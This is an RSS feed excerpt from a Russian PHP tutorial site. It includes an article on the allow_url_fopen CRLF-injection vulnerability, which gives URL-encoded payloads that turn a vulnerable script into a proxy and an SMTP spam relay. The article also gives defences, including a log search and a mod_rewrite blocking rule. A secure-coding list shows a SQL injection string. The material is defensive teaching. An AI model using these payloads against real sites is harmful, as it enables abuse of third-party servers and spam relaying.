cpdf_add_outline($cpdf, 0, 0, 0, 1, &quot;Page 1&quot;);<br />
cpdf_begin_text($cpdf);<br />
cpdf_set_font($cpdf, &quot;Times-Roman&quot;, 30, &quot;WinAnsiEncoding&quot;);<br />
cpdf_set_text_rendering($cpdf, 1);<br />
cpdf_text($cpdf, &quot;Times Roman outlined&quot;, 50, 750);<br />
cpdf_end_text($cpdf);<br />
cpdf_moveto($cpdf, 50, 740);<br />
cpdf_lineto($cpdf, 330, 740);<br />
cpdf_stroke($cpdf);<br />
cpdf_finalize($cpdf);<br />
Header(&quot;Content-type: application/pdf&quot;);<br />
cpdf_output_buffer($cpdf);<br />
cpdf_close($cpdf);<br />
?&gt;<br />
Дистрибутив pdflib содержит   более сложный пример, в котором создаются серии страниц с аналоговыми часами. Здесь приведён пример, конвертированный в PHP с использованием расширения ClibPDF:<br />
<br />
Пример 2. pdfclock из дистрибутива pdflib 2.0<br />
<br />
&lt;?php<br />
$radius = 200;<br />
$margin = 20;<br />
$pagecount = 40;<br />
<br />
$pdf = cpdf_open(0);<br />
cpdf_set_creator($pdf, &quot;pdf_clock.php3&quot;);<br />
cpdf_set_title($pdf, &quot;Analog Clock&quot;);<br />
  <br />
while($pagecount-- &gt; 0) {<br />
  cpdf_page_init($pdf, $pagecount+1, 0, 2 * ($radius + $margin), 2 * ($radius + $margin), 1.0);<br />
  <br />
  cpdf_set_page_animation($pdf, 4, 0.5, 0, 0, 0);  /* wipe */<br />
  <br />
  cpdf_translate($pdf, $radius + $margin, $radius + $margin);<br />
  cpdf_save($pdf);<br />
  cpdf_setrgbcolor($pdf, 0.0, 0.0, 1.0);<br />
  <br />
  /* отсчёт минут */<br />
  cpdf_setlinewidth($pdf, 2.0);<br />
  for ($alpha = 0; $alpha &lt; 360; $alpha += 6)<br />
    {<br />
    cpdf_rotate($pdf, 6.0);<br />
    cpdf_moveto($pdf, $radius, 0.0);<br />
    cpdf_lineto($pdf, $radius-$margin/3, 0.0);<br />
    cpdf_stroke($pdf);<br />
    }<br />
  <br />
  cpdf_restore($pdf);<br />
  cpdf_save($pdf);<br />
 <br />
  /* отсчёт пятиминуток */<br />
  cpdf_setlinewidth($pdf, 3.0);<br />
  for ($alpha = 0; $alpha &lt; 360; $alpha += 30)<br />
  {<br />
    cpdf_rotate($pdf, 30.0);<br />
    cpdf_moveto($pdf, $radius, 0.0);<br />
    cpdf_lineto($pdf, $radius-$margin, 0.0);<br />
    cpdf_stroke($pdf);<br />
  }<br />
<br />
  $ltime = getdate();<br />
<br />
  /* прорисовка часовой стрелки */<br />
  cpdf_save($pdf);<br />
  cpdf_rotate($pdf, -(($ltime['minutes']/60.0) + $ltime['hours'] - 3.0) * 30.0);<br />
  cpdf_moveto($pdf, -$radius/10, -$radius/20);<br />
  cpdf_lineto($pdf, $radius/2, 0.0);<br />
  cpdf_lineto($pdf, -$radius/10, $radius/20);<br />
  cpdf_closepath($pdf);<br />
  cpdf_fill($pdf);<br />
  cpdf_restore($pdf);<br />
<br />
  /* прорисовка минутной стрелки */<br />
  cpdf_save($pdf);<br />
  cpdf_rotate($pdf, -(($ltime['seconds']/60.0) + $ltime['minutes'] - 15.0) * 6.0);<br />
  cpdf_moveto($pdf, -$radius/10, -$radius/20);<br />
  cpdf_lineto($pdf, $radius * 0.8, 0.0);<br />
  cpdf_lineto($pdf, -$radius/10, $radius/20);<br />
  cpdf_closepath($pdf);<br />
  cpdf_fill($pdf);<br />
  cpdf_restore($pdf);<br />
<br />
  /* прорисовка секундой стрелки */<br />
  cpdf_setrgbcolor($pdf, 1.0, 0.0, 0.0);<br />
  cpdf_setlinewidth($pdf, 2);<br />
  cpdf_save($pdf);<br />
  cpdf_rotate($pdf, -(($ltime['seconds'] - 15.0) * 6.0));<br />
  cpdf_moveto($pdf, -$radius/5, 0.0);<br />
  cpdf_lineto($pdf, $radius, 0.0);<br />
  cpdf_stroke($pdf);<br />
  cpdf_restore($pdf);<br />
<br />
  /* прорисовка небольшого кружка в центре */<br />
  cpdf_circle($pdf, 0, 0, $radius/30);<br />
  cpdf_fill($pdf);<br />
<br />
  cpdf_restore($pdf);<br />
<br />
  cpdf_finalize_page($pdf, $pagecount+1);<br />
}<br />
<br />
cpdf_finalize($pdf);<br />
Header(&quot;Content-type: application/pdf&quot;);<br />
cpdf_output_buffer($pdf);<br />
cpdf_close($pdf);<br />
?&gt;]]></description>
			<pubDate>Sat, 27 Apr 2013 19:14:13 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/490]]></link>
		</item>
		<item>
			<title>Форматируем дату, полученную из БД</title>
			<description><![CDATA[Я делаю свою CMS и в модуле новостей возникла необходимость преобразовать формат даты, которую возвращает MySQL в более менее приличный вид<br />
<br />
Код функции довольно простой и при желании его легко изменить для своих нужд. Данная функция позволяет выводит дату в формате ДЕНЬ_НЕДЕЛИ, ЧИСЛО МЕСЯЦ ГОД, например Пятница, 27 января 2006 года.<br />
<br />
function format_date_html($mysql_date,$case)<br />
{<br />
<br />
$array=explode('-',$mysql_date); //Разбиваем MySQL дату на массив<br />
<br />
//Создаем русские названия месяцев для последующей замены<br />
$month['01']='января';<br />
$month['02']='февраля';<br />
$month['03']='марта';<br />
$month['04']='апреля';<br />
$month['05']='мая';<br />
$month['06']='июня';<br />
$month['07']='июля';<br />
$month['08']='августа';<br />
$month['09']='сентября';<br />
$month['10']='октября';<br />
$month['11']='ноября';<br />
$month['12']='декабря';<br />
<br />
if($array[2]&lt;10) //Если день месяца меньше десяти, то убераем ноль перед числом<br />
{<br />
$array[2]=str_replace(0,'',$array[2]);<br />
}<br />
<br />
$day=date('D',mktime(0,0,0,$array[1],$array[2],$array[0])); //Получаем день недели для данной даты<br />
<br />
if($case==2) //Если $case=2, то используем дни недели в винительном падеже<br />
{<br />
$weekday['Mon']='понедельник';<br />
$weekday['Tue']='вторник';<br />
$weekday['Wed']='среду';<br />
$weekday['Thu']='четверг';<br />
$weekday['Fri']='пятницу';<br />
$weekday['Sat']='субботу';<br />
$weekday['Sun']='воскресенье';<br />
}<br />
else //А если нет, то в именительном<br />
{<br />
$weekday['Mon']='Понедельник';<br />
$weekday['Tue']='Вторник';<br />
$weekday['Wed']='Среда';<br />
$weekday['Thu']='Четверг';<br />
$weekday['Fri']='Пятница';<br />
$weekday['Sat']='Суббота';<br />
$weekday['Sun']='Воскресенье';<br />
}<br />
<br />
//Возвращаем отформатированную дату<br />
return $weekday[$day] . ', ' . $array[2] . ' ' . $month[$array[1]] . ' ' . $array[0] . ' года';<br />
}]]></description>
			<pubDate>Sat, 27 Apr 2013 19:05:12 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/489]]></link>
		</item>
		<item>
			<title>Генератор паролей</title>
			<description><![CDATA[Почти на каждом сайте с регистрацией есть форма &quot;Вспомнить пароль&quot;, с ее помощью можно получить забытый пароль не E-Mail. Высылать пароль не совсем безопасно, так как зачастую пользователи используют один пароль в нескольких местах.<br />
<br />
По этому, хорошим тоном является замена старого пароля на новый, созданный автоматически.<br />
<br />
Ниже приведен достаточно простой и интересный способ его создания:<br />
<br />
&lt;?<br />
$d=Array(&quot;ba&quot;, &quot;be&quot;, &quot;bo&quot;, &quot;di&quot;, &quot;du&quot;, &quot;do&quot;, &quot;de&quot;, &quot;ku&quot;,<br />
&quot;ka&quot;, &quot;ke&quot;, &quot;si&quot;, &quot;su&quot;, &quot;re&quot;, &quot;ru&quot;, &quot;ro&quot;, &quot;ra&quot;,<br />
&quot;la&quot;, &quot;le&quot;, &quot;li&quot;, &quot;lo&quot;, &quot;ve&quot;, &quot;zde&quot;, &quot;ka&quot;);<br />
<br />
$str=&quot;&quot;;<br />
for ($i=0;$i&lt;rand(3,4);$i++) $str.=$d[rand(0,count($d))];<br />
print $str;<br />
?&gt;<br />
<br />
Получаются достаточно интерестные и легко запоминающиеся пароли: Например:<br />
<br />
kakamaka<br />
turuda<br />
kamana<br />
sukika<br />
и т.п.]]></description>
			<pubDate>Sat, 27 Apr 2013 19:04:49 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/488]]></link>
		</item>
		<item>
			<title>Удаление строки из файла</title>
			<description><![CDATA[Я очень часто встречаю вопрос типа &quot;Как удалить определенную строку из файла?&quot;. Народ совсем не хочет шевелиться, ведь так легко зайти на любой крупный форум по PHP, и в сроке поиска написать что-то типа &quot;Удаление строк из файла&quot;. Пятерка результатов гарантирована. Итак, мы как раз рассмотрим способ удаления определенной строки из текстового файла<br />
<br />
Для начала было бы совсем не плохо создать текстовый файл. Назовём его file.txt, который будет состоять из строк, которые мы будем удалять:<br />
<br />
строка один<br />
строка два<br />
строка три<br />
строка четыре<br />
строка пять<br />
<br />
Затем создаём что-нибудь типа file.php, занимающий около 11 строк!<br />
<br />
&lt;?<br />
if ($id != &quot;&quot;) {<br />
$id--;<br />
$file=file(&quot;file.txt&quot;);<br />
<br />
for($i=0;$i&lt;sizeof($file);$i++)<br />
if($i==$id) unset($file[$i]);<br />
<br />
$fp=fopen(&quot;file.txt&quot;,&quot;w&quot;);<br />
fputs($fp,implode(&quot;&quot;,$file));<br />
fclose($fp);<br />
}<br />
?&gt;<br />
<br />
Сначала определимся, что для удаления определенной строки нам нужен её номер. Его мы будем передавать с идентификатором id: file.php?id=2 (удалим строку под номером ТРИ, так как исчисления элементов в массиве ведётся с нуля, но позже мы это сгладим).<br />
<br />
* функция file() считывает весь файл в массив (каждая строка - это его элемент);<br />
* $id-вычитает один из нашего идентификатора, так что 2 становится 2, а 3 - 3;<br />
* unset($file[$i]) удаляет или обнуляет элемент массива (но только из памяти, т. е. виртуально:);<br />
* implode() объединяет массив в одну строку. Это очень важно, так как если бы это опустили, наш файл бы похудел до бесполезной записи Array;]]></description>
			<pubDate>Sat, 27 Apr 2013 19:04:29 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/487]]></link>
		</item>
		<item>
			<title>Потенциальная уязвимость php-скриптов</title>
			<description><![CDATA[Функции fopen, file, include и require могут открывать файлы с других сайтов по протоколам http и ftp. Эта возможность несёт в себе потенциальную уязвимость в php-скриптах, позволяющую использовать сайт как прокси.<br />
Предупреждаю ничего нового в этом материале не будет. Несмотря на впечатляющие возможности для злоумышленника, данная уязвимость — просто комбинация общеизвестных свойств php.<br />
<br />
В 2002 году параллельно несколькими группами, занимающимися поиском уязвимостей в ПО, была обнаружена серьёзная и мощная уязвимость в php.<br />
<br />
В русскоязычном интернете эта уязвимость практически не была освещена. На русскоязычных сайтах по проблемам безопасности мне не удалось найти непосредственного сообщения об этой уязвимости.<br />
<br />
Уязвимость: Url fopen wrapper<br />
<br />
Для увеличения функциональности и упрощения кодирования, разработчики php сделали такую особенность в функциях fopen, file, include и прочих. Если имя файла начинается с http://, сервер выполнит HTTP-запрос, скачает страницу, и запишет в переменную как из обычного файла. Аналогично работают префиксы &quot;ftp://&quot;, &quot;php://&quot; (последний предназначен для чтения и записи в stdin, stdout и stderr). Нужно это было для того, чтобы разработчики сайтов не мучались с библиотеками http-запросов и не писали их вручную. Данная опция отключается в настройках php, параметр allow_url_fopen.<br />
<br />
CR/LF в HTTP-запросах<br />
<br />
Комбинация символов carriage return и line feed в HTTP-запросе разделяет заголовки. Подробно об этом можно почитать в статье Антона Калмыкова «Генерация HTTP-запросов». Эту комбинацию символов можно передать в GET-запросе в виде &quot;%0D%0A&quot;.<br />
<br />
Untrusted input<br />
<br />
На многих сайтах страницы генерируются скриптом-шаблонизатором. В скрипт перенаправляются все запросы сайта. Из REQUEST_URI берётся имя файла, который надо открыть. Файл считывается, к нему добавляется шаблон с навигацией, шапкой и т.п., и результат выдаётся клиенту.<br />
<br />
Нерадивый или неопытный программист запросто может написать открытие файла без проверки данных:<br />
<br />
&lt;?php<br />
echo implode(&quot;&quot;, file(substr($REQUEST_URI, 1)));&lt;/php&gt;<br />
<br />
От запроса отбрасывается первый символ — слэш — и открывается файл. Злоумышленник легко может вписать в качестве пути к файлу на сервере строку http://example.com: http://n00b.programmer.com/http://example.com Другой вариант — все адреса на сайте имеют вид http://n00b.programmer.com/index.php?f=news В таком случае злоумышленник будет пробовать открыть адрес типа http://n00b.programmer.com/index.php?f=http://example.com Очень важно не доверять входящим данным и фильтровать при помощи регулярных выражений входящие запросы.<br />
<br />
Эксплойт<br />
<br />
Поскольку в приведённом примере адрес никак не проверяется, в запрос можно вставить строку с HTTP-запросом. Если злоумышленник откроет путь<br />
<br />
index.php?f=http%3A%2F%2Fexample.com%2F+HTTP%2F1.0%0D%0A%0D%0AHost: +example.com%0D%0AUser-agent:+Space+Bizon%2F9%2E11%2E2001 +%28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A<br />
<br />
то скрипт выполнит HTTP-запрос:<br />
<br />
GET example.com/ HTTP/1.0\r\n<br />
Host: example.com\r\n<br />
User-agent: Space Bizon/9.11.2001 (Windows 67)\r\n<br />
var1=foo&amp;var2=bar\r\n<br />
\r\n<br />
HTTP/1.0\r\n<br />
Host: www.site1.st\r\n<br />
User-Agent: PHP/4.1.2\r\n<br />
\r\n<br />
<br />
Последние три строки скрипт добавляет автоматически, но два \r\n перед ними означают конец запроса. Таким образом, незащищённый скрипт можно использовать как прокси-сервер. Зная несколько &quot;дырявых&quot; сайтов, злоумышленник может выстроить из них цепочку, чтобы его было сложнее найти.<br />
<br />
Умное использование эксплойта<br />
<br />
Если у провайдера, предоставляющего бесплатный демо-доступ, дырявый сайт, можно написать скрипт для домашнего сервера, который бы формировал запросы к такому прокси-серверу и экономил немного денег. Это дело, безусловно, подсудное и наказуемое, но по большому счёту баловство. Более прибыльное использование чужой машины как прокси — рассылка коммерческого спама. Пример из статьи, написанной Ульфом Харнхаммаром:<br />
<br />
index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO +my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT +TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+PROCRASTINATE +again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A<br />
<br />
(должно быть одной строкой) модуль PHP соединится с сервером mail.example.com по 25 порту и отправит следующий запрос:<br />
<br />
GET / HTTP/1.0\r\n<br />
HELO my.own.machine\r\n<br />
MAIL FROM:\r\n<br />
RCPT TO:\r\n<br />
DATA\r\n<br />
i will never say the word PROCRASTINATE again\r\n<br />
.\r\n<br />
QUIT\r\n\r\n<br />
<br />
HTTP/1.0\r\n<br />
Host: mail.site1.st:25\r\n<br />
User-Agent: PHP/4.1.2\r\n\r\n<br />
<br />
PHP и почтовый сервер будут ругаться, но письмо будет отправлено. Имея такую уязвимость в чьем-то сайте, можно искать закрытый почтовый релей, принимающий от эксплуатируемого веб-сервера почту. Этот релей не будет в чёрных списках провайдеров, и рассылка спама может получиться очень эффективной. На своём сайте я нашёл множество запросов с 25-м портом в пути. Причём до начала этого года таких запросов не было. Раньше о такой уязвимости знали единицы любопытных пользователей, и лишь в прошлом году дыра стала общеизвестной и поставлена на поток спаммерами.<br />
<br />
Меры защиты от эксплойта<br />
<br />
Вам, как разработчику или владельцу сайта, важно сделать всё возможное, чтобы через ваш сайт никто не смог разослать спам. Если это получится, разослан он будет с какого-нибудь гавайского диалапа, владельцы которого не понимают человеческого языка, а крайним могут сделать именно вас.<br />
<br />
Проверка журнала запросов<br />
<br />
Для начала полезно ознакомиться со списком уникальных адресов, запрашиваемых с сайта. Это поможет узнать, были ли случаи атак и использования дырки. Обычно спамеры сразу проверяют возможность соединения с нужным им почтовым релеем по 25 порту. Поэтому искать следует строки &quot;:25&quot; и &quot;%3A25&quot;.<br />
<br />
Настройка php<br />
<br />
Самый простой способ отключить возможую уязвимость — запретить открывать URL через файловые функции. Если вы администратор своего сервера — запрещайте allow_url_fopen в настройках php. Если вы просто клиент — запретите у себя локально. В файле .htaccess для корня сайта напишите строку: php_value allow_url_fopen 0 Если вы злой хостинг-провайдер, можете запретить URL fopen wrapper для всех клиентов при помощи директивы php_admin_value. Включение безопасного режима (safe mode) в данном случае не поможет, функция продолжает работать исправно.<br />
<br />
Изменение кода<br />
<br />
Возможна такая сложная ситуация: вы клиент, а нерадивый админ хостинг-провайдера вписал все установки php в php_admin_value, и поменять их нельзя. Придётся модифицировать код скриптов. Самый простой способ — искать функции fopen, file и include, открывающие файлы из имён переменных. И вырезать функцией str_replace префиксы http:// и ftp://. Впрочем, иногда скрипту, всё-таки, необходимо открывать адреса, которые приходят от пользователя. Например, скрипт-порнолизатор, который вставляет в текст матерки или заменяет текст на ломаный русский язык (&quot;трасса для настайащих аццоф, фсем ффтыкать&quot;). Наверное, больше всего от неряшливого программирования пострадали именно эти сайты. В данном случае вполне можно ограничиться вырезанием &quot;\r\n&quot; из полученной строки. В таком случае злоумышленник не сможет добавить свой собственный заголовок к запросу, который отправляете вы.<br />
<br />
Прекращение работы при оффенсивном запросе<br />
<br />
Клиент, сканирующий ваш сайт на предмет непроверяемых переменных, создаёт лишний трафик и загружает процессор сервера. Понятно, что ему не нужны страницы, которые генерирует ваш сайт, если они не работают как прокси. Желательно убивать такие запросы ещё до запуска php-интерпретатора. Это можно сделать при помощи модуля mod_rewrite. В файле .htaccess в корне сайта я поставил такую строку:<br />
<br />
RewriteRule ((%3A|:)25|%0D%0A) - [G]<br />
<br />
При этом предполагается, что на сайте не будут отправляться методом GET формы с многострочным пользовательским вводом. Иначе они будут остановлены этим правилом.<br />
<br />
Если вы при помощи mod_rewrite поддерживаете адресацию, удобную для чтения, то скорее всего, двоеточие и CRLF не используются. Поэтому другие строки RewriteRule не будут подходить под сканирующий запрос, и строку, прекращающую обработку запроса, лучше поместить в конце списка правил. Тогда обычные запросы будут переписываться и перенаправляться до этой строки (используйте флаг [L]), что уменьшит время их обаботки. В зависимости от разных условий оно может варьироваться.]]></description>
			<pubDate>Sat, 27 Apr 2013 19:04:08 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/486]]></link>
		</item>
		<item>
			<title>Десять правил написания безопасного кода на PHP</title>
			<description><![CDATA[В серии статей &quot;Ten Security Checks for PHP&quot; кратко рассматриваются 10 наиболее часто совершаемых PHP программистами ошибок, приводящих к проблемам с безопасностью скриптов.<br />
<br />
Избегайте использования переменных сформированных на основании данных пользователя в функции включения файла (include, require) или доступа к файлу (readfile, fopen, file). Например: include($lib_dir . &quot;functions.inc&quot;); include($page); переменные $lib_dir и $page перед этим нужно проверить либо на предмет наличия запрещенных символов, либо сопоставить с заранее определенным массивом допустимых значений:<br />
<br />
$valid_pages = array(&quot;apage.php&quot; =&gt; &quot;&quot;, &quot;another.php&quot; =&gt; &quot;&quot;, &quot;more.php&quot; =&gt; &quot;&quot;);<br />
if (!isset($valid_pages[$page])) {<br />
die(&quot;Invalid request&quot;);<br />
}<br />
<br />
if (!(eregi(&quot;^[a-z_./]*$&quot;, $page) &amp;&amp; !eregi(&quot;\.\.&quot;, $page))) {<br />
die(&quot;Invalid request&quot;);<br />
}<br />
<br />
Необходимо экранировать опасные символы (&quot; и ') в переменных участвующих в SQL запросах.Например, злоумышленник может передать переменную вида &quot;password=a%27+OR+1%3Di%271&quot; которая будет использована в SQL запросе как &quot;Password='a' or 1='1'&quot;. Решение: включить magic_quotes_gpc в php.ini или экранировать переменные самостоятельно через addslashes();<br />
<br />
Никогда не нужно доверять глобальным переменным, при включенном в php.ini режиме register_globals злоумышленник может подменить значение глобальной переменной. Используйте ассоциативные массивы $HTTP_GET_VARS и $HTTP_POST_VARS с выключенным register_globals и в начале скрипта явно инициализируйте все глобальные переменные.<br />
<br />
Определяйте местонахождение закаченного файла только через is_uploaded_file() или используя move_uploaded_file(), но не доверяйте глобальной переменной с путем к закаченному файлу, значение которой злоумышленник может подменить.<br />
<br />
Используйте функции htmlspecialchars(), htmlentities() для экранирования HTML тэгов присутствующих в данных полученных от пользователя.<br />
<br />
Защищайте библиотеки функций от просмотра их исходных текстов пользователем (расширения .inc, .class). Решение: снабжайте библиотеки расширением .php, помещайте в закрытую директорию или настройте хэндлер для парсинга расширения файлов с вашими библиотеками.<br />
<br />
Помещайте файлы данных вне дерева файловой системы доступной через web (уровнем ниже htdocs, или &quot;document root&quot;) или защищайте директории через .htaccess.<br />
<br />
mod_php запускайте в режиме safe_mode.<br />
<br />
Проверяйте наличие запрещенных символов в переменные используемых в функциях eval, preg_replace, exec, passthru, system, popen, ``.<br />
<br />
При использовании не mod_php, а CGI варианта php.cgi не забывайте, что через php.cgi можно получить доступ к любому файлу в директориях защищенных через .htaccess, так как доступ в этом случае ограничен только для прямых запросов, но не для запросов через CGI скрипт php.cgi.]]></description>
			<pubDate>Sat, 27 Apr 2013 19:03:48 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/485]]></link>
		</item>
		<item>
			<title>Слежение за контентом на динамических сайтах</title>
			<description><![CDATA[Предыстория<br />
<br />
Эта статья была задумана и написана благодаря форуму XPoint.<br />
<br />
Методы, описанные ниже, не являются личным изобретением автора. Просто он, будучи совсем еще чайником, лично сталкивался с описываемой проблемой и не смог найти толкового материала на предмет ее решения. Решение было найдено путем прочтения десятка статей сколь-нибудь близкой тематики, мученья людей с форума XPoint и недельной ночной баталии с PHP.<br />
<br />
Создавая эту статью, автор задался целью помочь менее искушенным людям решить нижеописанную проблему без ущерба для их режима дня.<br />
<br />
Внимание: не факт, что Вам все удастся сделать с первого раза за полчаса. Факт, что прежде чем что-то делать, никогда не лишне почитать о том, как это делали другие.<br />
<br />
О чем эта статья<br />
<br />
Если Вы когда-нибудь занимались созданием динамического сайта, то есть сайта, состоящего не из статичных HTML страничек, а скриптов, взаимодействующих с разными файлами и базами данных, Вы наверняка сталкивались (а если нет, то еще столкнетесь) с такими проблемами:<br />
<br />
* «правильное» кэширование;<br />
* «правильные» HTTP заголовки<br />
<br />
<br />
Поясняю первый пункт. Кэширование — механизм, позволяющий клиенту (то есть пользователю на том конце соединения, точнее — его браузеру, для пользователя этот процесс незаметен) при просмотре одних и тех же файлов (например, картинок, составляющих элементы дизайна сайта, или файлов стилей CSS) не скачивать их каждый раз заново, а скачивать только однажды, а затем, по мере необходимости, использовать сохраненную на компьютере клиента копию. Принцип его работы примерно таков: при возникновении очередной необходимости скачать файл клиент обращается к серверу с запросом, не был ли файл изменен (не устарела ли копия на машине клиента), и если нет, не скачивает его заново, а использует сохраненный вариант. В браузерах, точно придерживающихся спецификации протокола HTTP, можно также добиться того, что запросы вообще не будут посылаться каждый раз, если есть сохраненная копия файла и точно известно, что она не успела устареть. Прелесть в том, что трафик (объем скачанных из Интернет данных) клиента уменьшается, и пользователь видит, что «сайт работает быстро». Естественно, уменьшается и трафик сервера, что позволяет снизить нагрузку на сервер и даже сэкономить, если Вы пользуетесь платным хостингом.<br />
<br />
Проблема состоит в том, что данный механизм для страниц динамического сайта сам собой работать не будет, его надо построить (тогда как для статичных страниц и картинок серверы обычно могут полностью автоматизировать процесс). Построение системы осуществления «правильного кэширования» описано далее, в разделах Теория и Практика.<br />
<br />
Поясню теперь пункт второй. Когда клиент запрашивает у сервера файл по протоколу HTTP, он, кроме содержимого самого файла (код в случае HTML файла, текст в случае текстового файла и т.п.), получает также HTTP headers — заголовки HTTP. Это служебные текстовые поля с информацией, которая не отображается в браузере, но интерпретируется им и, в основном, служит для сообщения клиенту данных о запрашиваемой странице.<br />
<br />
Заголовок ETag («объектная метка»), например, служит для присвоения каждой странице уникального идентификатора, который остается неизменным, пока страница не модифицирована, и изменяется, если изменились данные на странице. Этот заголовок сохраняется на клиенте, и в случае необходимости повторного скачивания «меченой» страницы позволяет браузеру обращаться к серверу с запросом 'If-None-Match' — в таком случае сервер должен по значению ETag-метки сохраненной на клиенте копии определить, не устарела ли она, и если нет, ответить кодом '304 Not Modified' («не модифицировано»), и страница не будет скачена еще раз.<br />
<br />
Заголовок Last-Modified («последнее изменение») предназначен для того, чтобы сообщить клиенту дату и время, когда последний раз изменилась запрашиваемая страница. Используя его, клиент, подобно случаю с ETag, может обращаться к серверу с запросом 'If-Modified-Since' — в этом случае сервер должен сравнить дату последней модификации копии, сохраненной на клиенте, с актуальной датой последней модификации. Если они совпадут, это значит, что копия в кэше клиента не устарела, и повторное скачивание не нужно (код ответа '304 Not Modified'). Last-Modified также необходим для корректной обработки Вашего сайта роботами - спайдерами (спайдер, англ. «паук» — это робот, который ходит по паутине Интернета и индексирует сайты, чтобы их можно было найти через поисковые системы, например, Google), которые используют информацию о дате модификации страниц в целях сортировки результатов поиска по дате, а также для определения частоты обновляемости Вашего сайта (см. например, что об этом пишет Яndex).<br />
<br />
Какой из этих методов определения «свежести» интернет-страниц использует клиент (и использует ли он их вообще), зависит от его возможностей и настроек. По хорошему, надо отправлять оба этих заголовка с каждым файлом, отданным Вашим сервером.<br />
<br />
Есть еще заголовок Expires («истечение») — он сообщает браузеру, какой временной промежуток можно считать, что копия страницы в кэше свежа, и вообще не обращаться к серверу с запросами. Это удобно для таких файлов, о которых вы точно знаете, что они не изменятся ближайший час/день/месяц: фоновая картинка страницы, например. К сожалению, поддерживается не всеми браузерами. В рассматриваемом примере Expires будет равен десяти минутам, что подходит для большинства сайтов, на которых информация обновяется не слишком часто (~ раз в час).<br />
<br />
Чтобы реализовать отправку «правильных» HTTP заголовков страницами Вашего сайта, надо как-то определять, когда модифицируются эти страницы. Проблема состоит в том, что в отличие от ситуации со статичными HTML файлами, когда дата модификации файла и его содержимого это одно и тоже, динамические страницы могут менять свое содержимое в зависимости от предусмотренных разработчиком внешних факторов (время суток, запрос пользователя, импорт данных из БД) без изменения файла скрипта. То есть дата модификации файла и информации, которую он отсылает клиенту, запросто могут не совпадать. Другая проблема, вытекающая из предыдущей, заключается в том, что часто на динамических сайтах на каждую страницу ставят голосование, &quot;шутку дня&quot; или баннерокрутилку, код которых меняется при каждой следующей загрузке. То есть надо смотреть не на всю сгенерированную страницу, а только на ту ее часть, которая несет основную информацию — текст статьи, прайс-лист и т.п.<br />
<br />
На первый взгляд все очень сложно и непонятно, но пугаться не стоит, потому как система, которая будет рассмотрена далее, достаточно проста. Сложнее понять то, что нам нужно сделать, чем то, как.<br />
<br />
Теория<br />
<br />
Для решения вышеописанных проблем необходимо:<br />
<br />
1. &quot;Отловить&quot; со страницы ту часть контента, за которой мы &quot;следим&quot;;<br />
2. Сравнить то, что получилось, с тем, что получилось в прошлый раз — для этого использовать БД, где и хранить информацию о страницах;<br />
3. В случае модификации данных — обновить информацию о странице в БД;<br />
4. Отослать клиенту HTTP заголовки в зависимости от его запроса.<br />
<br />
<br />
Сделать это можно разными способами. Мы будем рассматривать систему, написанную на языке PHP, так как этот язык сейчас популярен, довольно прост для понимания и поддерживается большинством хостингов, в том числе и бесплатными. Данные мы будем хранить в БД MySQL по тем же причинам.<br />
<br />
Итак, что там у нас там, на сайте? Динамические страницы, то есть PHP скрипты. Как функционирует эта «динамика»? Если сайт у Вас небольшой, то, скорее всего, у Вас под каждую страницу существует свой скрипт: index.php – для главной страницы, news.php для страницы новостей и т.п. Если же сайт у Вас выходит за рамки «домашней странички» и имеет сложную структуру, свой форум или пользовательскую зону, построен с использованием баз данных, то, вероятно, одним скриптом типа showpage.php генерируются сотни концептуально различных страниц (например, страницы форума генерирует один скрипт, но страницы-то разные, и надо следить за каждой отдельно). Первый случай проще для рассмотрения, хотя, если Вы поймете суть предлагаемой системы, Вы сможете без особых проблем интегрировать ее и на сайте, описанном во втором случае. А мы рассмотрим случай первый.<br />
<br />
Чего надо «избежать» при «отлове» контента? Баннеров, счетчиков и всего, что написано в меню. Это не принципиально — Вы сами решаете, какой объем информации, отдаваемой Вашими скриптами, будет использоваться для определения их модификации.<br />
<br />
Если «нужная» информация и «ненужные» примочки выводятся разными функциями, то все «нужное» можно просто забить в одну переменную. Что-нибудь вроде этого:<br />
<br />
&lt;?php<br />
<br />
// Это – только кусок гипотетического PHP файла.<br />
// Он не имеет никакого смысла, и используется только как пример.<br />
<br />
include 'settings.inc.php'; // Подключаем какие-нибудь настройки, модули, классы и т.п.<br />
print page_header(); // Выводим шапку – нам она не нужна;<br />
print banners(); // Показываем баннеры – аналогично;<br />
<br />
print $contentmonitoring_var = main_info(); // Показываем &quot;основную&quot; информацию;<br />
// это как раз то, что нам нужно - кладем данные в переменную $contentmonitoring_var<br />
<br />
print $temp = info2(); // Еще какая-нибудь нужная информация;<br />
$contentmonitoring_var .= $temp; // добавляем данные в ту же переменную<br />
<br />
print something_other(); // Не то;<br />
print page_footer(); // Опять не то...<br />
<br />
?&gt;<br />
<br />
Если Ваш сайт слишком громоздкий и сложный для такой модификации, есть более простой выход: буферизация вывода, стандартная функция PHP (Когда буферизация вывода активна, все, что генерирует скрипт, не высылается клиенту, а сохраняется во внутреннем буфере.) То, что попало в буфер, можно положить в переменную и работать с этими данными, как с обычной строковой переменной, а потом отослать клиенту. Тогда Вам необходимо просто найти в коде начало и конец того куска выводимой информации, которую надо проверять, и маркировать этот кусок HTML-комментариями. Для этого перед началом вывода интересующей нас информации надо вставить строчку<br />
<br />
&lt;!--content--&gt;<br />
<br />
а после — строчку<br />
<br />
&lt;!--/content--&gt;<br />
<br />
Учитывайте только, что буферизация может притормаживать Ваши скрипты, если они выводят большие объемы информации (по несколько мегабайт), а также не позволяет выводить информацию порциями по мере выполнения скрипта — данные будут отосланы клиенту только после того, как будет выполнен весь скрипт (для небольших скриптов это не страшно).<br />
<br />
